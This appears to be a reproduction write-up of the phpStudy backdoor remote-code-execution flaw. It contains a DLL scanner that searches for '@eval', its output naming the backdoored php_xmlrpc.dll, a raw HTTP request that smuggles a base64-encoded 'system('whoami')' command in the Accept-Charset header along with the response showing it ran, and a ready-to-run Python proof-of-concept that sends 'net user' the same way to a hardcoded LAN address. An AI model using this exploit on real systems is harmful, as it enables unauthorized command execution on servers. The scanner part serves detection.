phpstudy RCE 复现

# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
__blog__='http://pcat.cc'

import os
import string
import re


def strings(file) :
    chars = string.printable[:94]
    shortestReturnChar = 4
    regExp = '[%s]{%d,}' % (chars, shortestReturnChar)
    pattern = re.compile(regExp)
    with open(file, 'rb') as f:
        return pattern.findall(f.read())


def grep(lines,pattern):
    for line in lines:
        if pattern in line:
            yield line


def pcheck(filename):
    # trojan feature
    trojan='@eval'
    # just check dll file
    if filename.endswith('.dll'):        
        lines=strings(filename)
        try:
            grep(lines,trojan).next()
        except:
            return
        print '=== {0} ==='.format(filename)
        for line in grep(lines,trojan):
            print line
    pass


def foo():
    # . stand for current directory
    for path, dirs, files in os.walk(".", topdown=False):
        for name in files:
            pcheck(os.path.join(path, name))
        for name in dirs:
            pcheck(os.path.join(path, name))
    pass


if __name__ == '__main__':
    foo()

=== .\PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll ===
@eval(%s('%s'));
%s;@eval(%s('%s'));
=== .\PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll ===
@eval(%s('%s'));
%s;@eval(%s('%s'));
[Finished in 10.2s]

GET /1.php HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding:gzip,deflate
Accept-Charset: ZWNobyBzeXN0ZW0oJ3dob2FtaScpOw==
Connection: close

HTTP/1.1 200 OK
Date: Mon, 07 Oct 2019 13:36:04 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 48
Connection: close
Content-Type: text/html

desktop-8ai2nf3\11466
desktop-8ai2nf3\11466test

Accept-Encoding:gzip,deflate

Accept-Charset: ZWNobyBzeXN0ZW0oJ3dob2FtaScpOw==

# -*-coding:utf-8 -*-

import requests 
import sys 
import base64

def Poc(ip):
    payload = "net user;"
    poc = "ZWNobyBzeXN0ZW0oJ3dob2FtaScpOw=="
    pay = base64.b64encode(payload.encode('utf-8'))
    #poc = str(pay,"utf-8")
    headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
    "Connection": "close",
    "Accept-Encoding": "gzip,deflate",
    "Accept-Charset": pay,
    "Upgrade-Insecure-Requests": "1",
    }
    url = ip
    r = requests.get(url,headers=headers)
    print(r.content)
    # if "Administrator" or "DefaultAccount" in r.text:
    #     # print(r.text)
    # else:
    #     print("不存在phpstudy后门")

# if len(sys.argv) < 2:
#     print("python phpstudy.py http://127.0.0.1")
# else:
#     Poc(sys.argv[1])
Poc("http://192.168.44.1/1.php")